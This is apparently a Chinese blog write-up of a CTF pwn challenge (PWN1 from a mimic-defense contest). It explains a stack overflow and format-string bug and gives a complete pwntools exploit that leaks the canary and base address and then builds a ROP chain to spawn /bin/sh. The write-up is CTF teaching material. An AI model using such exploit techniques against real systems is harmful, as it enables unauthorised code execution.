第五届“强网”拟态防御之PWN1与近段时间对unlink的理解

拟态第一题PWN1,首先正常扔进终端分析:64位,除了RELRP开启了一部分外,其余保护机制都开了。

接着来IDA看一看

观察旁边的函数发现居然有system,接着发现了“/bin/sh\x00”

Main函数的逻辑比较简单,分析然后进入func函数,发现两漏洞利用点:

显然栈溢出+格式化字符串漏洞:

思路如下:

泄露canary以及程序基础地址,计算相关地址,而后控制执行流来个简单的64位函数调用:

system(“/bin/sh\x00”)。

 

这里这个泄露程序基地址快把哥人搞傻了,gdb上明明是第43个,结果远程连接确实第45个,果然拟态。

from pwn import*
#p=remote('172.52.61.160',9999)
context.log_level="debug"
p=process('./123')

payload="%33$p%45$p"

p.sendlineafter("something",'2')  
p.sendlineafter("hello",payload)    
canary = int(p.recvuntil('00'),16)
base =int(p.recvuntil("\n")[:-1],16)-0xb54

binsh_ =  base+0x202068
#system_=  base+0x202030
system_= base +0x0a2c
p_rdi=base+0xc73

print("canary: ")
print(hex(canary))
print("base:")
print(hex(base))
payload2='a'*0xc8+p64(canary)+"abcdline"+p64(p_rdi)+p64(binsh_)+p64(system_)
p.sendline(payload2)

p.interactive()

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值